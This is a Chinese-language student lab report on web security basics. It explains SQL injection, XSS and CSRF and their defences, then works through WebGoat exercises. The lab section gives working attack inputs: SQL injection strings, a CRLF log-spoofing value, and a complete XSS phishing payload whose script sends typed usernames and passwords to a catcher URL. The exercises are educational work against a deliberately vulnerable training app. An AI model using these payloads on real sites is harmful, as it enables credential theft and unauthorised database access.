Exp9 Web安全基础

20165101刘天野 2018-2019-2《网络对抗技术》Exp9 Web安全基础

1.基础问题回答

1.1 SQL注入攻击原理,如何防御

原理:

应用程序会将您的输入带入后台的SQL查询语句。
Web应用对后台数据库查询语句处理存在的安全漏洞。
即为:在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至 造成破坏后台数据库等严重后果。

防御:

使用正则表达式过滤传入的参数。
jsp中调用函数检查是否包函非法字符,做好规范的校验工作,比如搜索框不能输入非法字符、限制输入的长度等。
使用prepared statements语句绑定变量来执行SQL字符串。没有使用prepared statements语句绑定变量可能很容易受到攻击。

1.2 XSS攻击的原理,如何防御

原理:

攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

防御:

特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
使用验证码:防止脚本冒充用户提交危险操作。

1.3 CSRF攻击原理,如何防御

原理:

CSRF(Cross site request forgery),即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用 来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求。也可以使用javascript构造一个提交表单的post请求。比如构造一个转账的post请求。
所以CSRF的攻击分为了两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用 等标签或者使用Javascript脚本。

防御:

referer。因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。
使用验证码。每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
使用token。每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。

2.实验内容

2.1 Webgoat安装

1.下载webgoat-container-7.0.1-war-exec.jar文件

2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,实验过程中不能关闭终端

3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

4、使用默认用户名密码guest登录即可

2.2 SQL攻击

2.2.1 Numeric SQL Injection

右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

攻击成功,显示所有城市的天气情况:

2.2.2日志欺骗(Log Spoofing)

目的:使用户名为admin的用户在日志中显示“成功登录”。升级自己的攻击.

  • 在user name一栏中输入DQY Login Succeeded for username: admin,密码随意输入。

  • 在 username 中填入20165101%0d%0aLogin Succeeded for username: admin

2.2.3字符串型注入(String SQL Injection)

  • 将maxlength设置为20或者更大。

  • 用admin的身份登录,密码框里输入' or 1=1 --,成功以Necille的身份登录成功。可以查看任意用户的信息等等。

2.3 跨站脚本攻击Cross‐Site Scripting (XSS)

2.3.1使用XSS钓鱼(Phishing with XSS)

  • 利用 XSS 可以在已存在的页面中进一步添加元素。该解决方案包括两部分,您需要结合起来使用:
    受害人填写一个表格;
    以读取脚本的形式,将收集到的信息发送给攻击者。
  • 需要输入如下代码
    </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

2.3.2存储型XSS攻击(Stored XSS Attacks)

  • 1 在 title 中任意输入字符。在Message中输入以下代码:。
  • 2 然后下面会出现title 中输入的字符,点击该链接,这就好比您刚创建的帖子,由您或者其他人浏览,然后会弹出一个对话框,,写着20165101,证明 XSS 攻击成功。

2.4 关于CSRF的攻击

2.4.1跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
    当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。

  • 提交后会发现链接,点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了。

2.4.2绕过CSRF确认(CSRF Prompt By‐Pass)

可以在title框中输入学号,在message框中输入下面的代码
`

` 下图即为攻击成功。 13

3.实验总结与体会

本次实验内容都是在Webgoat平台上进行,配置环境花费了很长的时间。但整体来说,本次实验很顺利的完成了。Webgoat的中文手册对每一个小实验的原理都介绍得非常清楚,便于理解每个题目的要求。在实验的过程中,先理解原理,再根据要求进行实验,做到融会贯通,做好学懂!

原文地址:https://www.cnblogs.com/lty12345678911/p/10927846.html